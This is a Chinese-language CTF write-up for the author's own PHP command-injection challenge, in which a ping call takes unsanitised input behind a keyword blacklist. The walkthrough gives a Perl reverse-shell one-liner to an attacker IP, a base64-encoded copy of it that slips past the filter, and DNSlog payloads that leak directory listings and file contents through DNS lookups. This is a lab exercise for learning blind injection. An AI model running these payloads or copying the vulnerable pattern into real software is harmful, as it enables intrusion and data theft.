在前两天吃饭的时候看文章,看到了360的一个老哥写的文章,从无回显到Getshell,自己也一直想练练手,就出了一个题目,依次来学习关于DNSlog盲注的问题。
<?php
error_reporting(0);
if(isset($_GET["Ginkgo"])){
$c = $_GET["Ginkgo"];
if(!preg_match("/flag|wget|sleep|curl|php/i", $c)){
shell_exec("ping -c 1 ".$c);
}
}else{
highlight_file(__FILE__);
}
?>
写入文件查看
可以看到题目中把几个常见的命令都给过滤掉了,因为shell_exec是不会回显数据的,尝试将结果写入当前页面下再进行访问
?Ginkgo=|ls>a # 将ls的结果写入a文件中
访问a文件
提示我们Not_Found,猜测应该是当前目录下没有写权限,这种思路就停滞了,猜测下一种
反弹shell
这个是我出这道题目没有考虑周全的,因为没有禁止NC、socket这些关键词,让队里的老哥一块做,队里老哥用反弹shell一把梭,一个一个试出来的,题目环境中不存在NC,我们不能用nc进行反弹shell,不过可以尝试别的方法反弹
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
修改ip和端口为自己的就行了,传输的时候URL编码一下,vps监听指定端口,成功收到shell
查看一下flag
之后想为了锻炼DNSlog盲注,把过滤改的再严一点,把socket几个关键词进行了过滤
//Version2.0
<?php
error_reporting(0);
if(isset($_GET["Ginkgo"])){
$c = $_GET["Ginkgo"];
if(!preg_match("/flag|wget|sleep|socket|sock|perl|ruby|curl|php/i", $c)){
shell_exec("ping -c 3 ".$c);
}
}else{
highlight_file(__FILE__);
}
?>
这样来看的话,perl这种反弹shell的方法是行不通了,不过我们可以通过编码转换的方式继续反弹shell,首先在本地fuzz一下
root@kali2020:/home# ls #正常执行ls命令
pdsdt wander
root@kali2020:/home# echo ls # 输出ls字符
ls
root@kali2020:/home# echo ls|base64 #输出base64加密的ls字符
bHMK
root@kali2020:/home# echo bHMK|base64 -d # 输出base64解密的字符
ls
root@kali2020:/home# echo bHMK|base64 -d|bash #输出字符并执行字符的命令
pdsdt wander
root@kali2020:/home#
根据上面的fuzz结果,可以看出我们可以利用linux自带的base64编码将我们的命令编码后再进行传输,编码一下命令
echo cGVybCAtTUlPIC1lICckYz1uZXcgSU86OlNvY2tldDo6SU5FVChQZWVyQWRkciwiYXR0YWNrZXJpcDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==|base64 -d |bash
成功反弹shell
DNSlog盲注
这是这道题目我想尝试的解法,趁着这个机会学习一下,因为题目中直接给了ping命令,我们可以直接DNS解析的方式带出数据,仍然是本地fuzz一下
root@kali2020:/home# echo whoami
whoami
root@kali2020:/home# echo 'whoami'
whoami
root@kali2020:/home# echo `whoami`
root
当我们使用反引号包裹字符串时,可以使字符串被当作linux命令解析,我们尝试一下在命令嵌套下添加反引号包裹执行命令
可以看到,linux会将whoami命令直接执行后再执行ping操作,所以我们可以通过这种方式将我们的数据带出,
Collaborator Server
这里首先使用burp自带的插件Collaborator Server进行DNSlog盲注,插件位置
这个插件应该是在1.7版本之后就自带的,选择打开
打开之后选择copy url
此时我们粘贴可以发现,是一个随机生成的域名
k3osnf2i7k63esx5bxfpam983z9pxe.burpcollaborator.net
我们尝试ping一下该域名
我们可以在插件中看到返回的数据,尝试携带命令进行ping命令
成功获取到数据,在题目中尝试一下
可以成功获取数据,不过由于burp插件获取结果的时间比较长,我们可以利用在线网站进行数据获取
DNSlog.cn
这个网站获取的结果还是比较快的,唯一的弊端的就是无法一次性获取多条数据
?Ginkgo=`whoami`.p11s3f.dnslog.cn
可以成功获取到数据,尝试查看当前目录下文件
?Ginkgo=`ls`.p11s3f.dnslog.cn
但是在dns记录里无法查看到数据,查看资料发现,dns解析中一些特殊字符是无法进行解析的(空格、换行符)这些,不过我们可以利用base64编码的形式加密数据
成功获取到加密数据,尝试获取一下根目录下文件夹
?Ginkgo=`ls /|base64`.p11s3f.dnslog.cn
结果发现在解析结果出未收到结果,主要是因为DNS解析的最大长度为63位,我们无法一次性取出结果,可以尝试拼接的形式取出,本地fuzz一下
我们可以利用cut命令进行剪接取出,不过出现的问题是,仍然存在换行符,我们尝试只取一行数据
在题目中尝试一下
?Ginkgo=`ls /|base64|cut -c1-30|head -n1`.p11s3f.dnslog.cn
继续拼接获取
统一解码,获取到根目录下数据
成功获取到目录下文件,读取一下
?Ginkgo=`cat /pd_f14G.txt`.p11s3f.dnslog.cn
..给我们说flag在tmp目录下,老规矩,看一下目录结构
?Ginkgo=`ls /tmp|base64|cut -c1-60|head -n1`.p11s3f.dnslog.cn
读一下
?Ginkgo=`cat /tmp/F*`.p11s3f.dnslog.cn
成功获取到flag
admin.dnslog.link
如果不想拼接,想直接让数据显示出来,可以利用这个平台,虽然返回数据相较于dnslog.cn慢一点,但我们一次性浏览大量的数据
比如,如果我不想拼接获取字符串的话,我们可以通过shell脚本的形式进行循环获取结果,本地fuzz一下
for i in $(ls /);do echo $i;done;
比较简单的shell脚本,循环取出根目录下文件,修改一下,查看解析日志
for i in $(ls);do ping -c 1 $i.test.dnslog.link;done;
在题目中尝试一下
?Ginkgo=||for i in $(ls);do ping -c 1 $i.test.dnslog.link;done;
成功获取,看一下根目录的数据
?Ginkgo=||for i in $(ls /);do ping -c 1 $i.test.dnslog.link;done;
解析的速度比较慢,稍等一会看一下结果,成功获取到目录下文件
查看文件,再用相同的方法列出tmp目录下内容即可
?Ginkgo=`cat /pd*`.test.dnslog.link
最后读取flag,在读取flag这里,我们有很多种方法,不过有一种方法在fuzz的时候出现了问题,在下面详细的说一下,这里直接cat /tmp/F*即可
问题与思考
在获取到数据之后,思考了一下循环取出flag内数据的方法
首先循环输出数据,最开始用的是{}的方式
大括号内循环
root@kali2020:/home# for i in {1..5};do echo $i;done;
1
2
3
4
5
依次输出文件内容
root@kali2020:/home# for i in {1..5};do cat /flag|cut -c $i;done;
f
l
a
g
{
这样在本地测试是可行的,再尝试将数据外送
root@kali2020:/home# for i in {1..2};do ping -c 1 `cat /flag|cut -c $i`.test.dnslog.link;done;
PING f.test.dnslog.link () 56(84) bytes of data.
--- f.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
PING l.test.dnslog.link () 56(84) bytes of data.
--- l.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
成功获取数据
在题目中尝试一下
?Ginkgo=||for i in {1..2};do ping -c 1 `cat /flag|cut -c $i`.test.dnslog.link;done;
这样不管如何测试都无法获取到,我们进入php中调试一下
hp > shell_exec("ping -c 3||for i in {1..2};do ping -c 1 `cat /flag|cut -c \$i`.test.dnslog.link;done;");
ping: usage error: Destination address required
cut: invalid byte/character position ‘{1..2}’
Try 'cut --help' for more information.
cat: write error: Broken pipe
ping: .test.dnslog.link: Name or service not known
我们这样直接大括号包裹字符串实现循环会报错,尝试另外一种方式,用类C语言的方式创造循环
for循环输出
for((a=1;a<=2;a++));do echo $a;done;
root@kali2020:/home# for((i=1;i<=2;i++));do ping -c 1 `cat /flag|cut -c $i`.test.dnslog.link;done;
PING f.test.dnslog.link (18.136.104.20) 56(84) bytes of data.
--- f.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
PING l.test.dnslog.link (18.136.104.20) 56(84) bytes of data.
--- l.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
查看一下数据
在php模式下调试一下
发现报错,看一下这个错误,主要是由于从 ubuntu 6.10 开始,ubuntu 就将先前默认的bash shell 更换成了dash shell;其表现为 /bin/sh 链接倒了/bin/dash而不是传统的/bin/bash。所以在使用sh执行检测的时候实际使用的是dash,而dash不支持这种C语言格式的for循环写法。所以这种写法在php中就不适用,我们尝试利用第三种
seq number number
root@kali2020:/home# for i in `seq 1 3`;do echo $i;done;
1
2
3
#`seq number number`
root@kali2020:/home# for i in `seq 1 3`;do ping -c 1 `cat /flag|cut -c $i`.test.dnslog.link;done;
PING f.test.dnslog.link (18.136.104.20) 56(84) bytes of data.
--- f.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
PING l.test.dnslog.link (18.136.104.20) 56(84) bytes of data.
--- l.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
PING a.test.dnslog.link (18.136.104.20) 56(84) bytes of data.
--- a.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
这样在本地调试也是可以的,我们仍然先回到php中进行调试
php > shell_exec("ping -c 3||for i in `seq 1 3`;do ping -c 1 `cat /flag|cut -c \$i`.test.dnslog.link;done;");
在题目中尝试一下,
?Ginkgo=||for i in `seq 1 5`;do ping -c 1 `cat /tmp/F*|cut -c $i`.test.dnslog.link;done;
成功获取,同时在fuzz中发现,$(seq 1 5)这种方式获取循环也是可以的,构造语句:
?Ginkgo=|for i in $(seq 6 9);do ping -c 1 `cat /pd_f14G.txt|cut -c $i`.test.dnslog.link;done;
思考
这种依靠循环取数据的方法与cut拼接相比确实挺鸡肋的,可能需要的条件也就是在比较极端的条件下才能使用 了,不过在fuzz中发现的信息确实值得思考和记录,于是在题目结束又多写了这么多
总结
这里简单的总结了在命令盲注中,简单使用dnslog获取信息的方法,因为题目中过滤了curl,没有尝试像360的师傅们用的直接在vps上开服务器获取日志的方式,不过也是通过这个点获取到了不少的经验。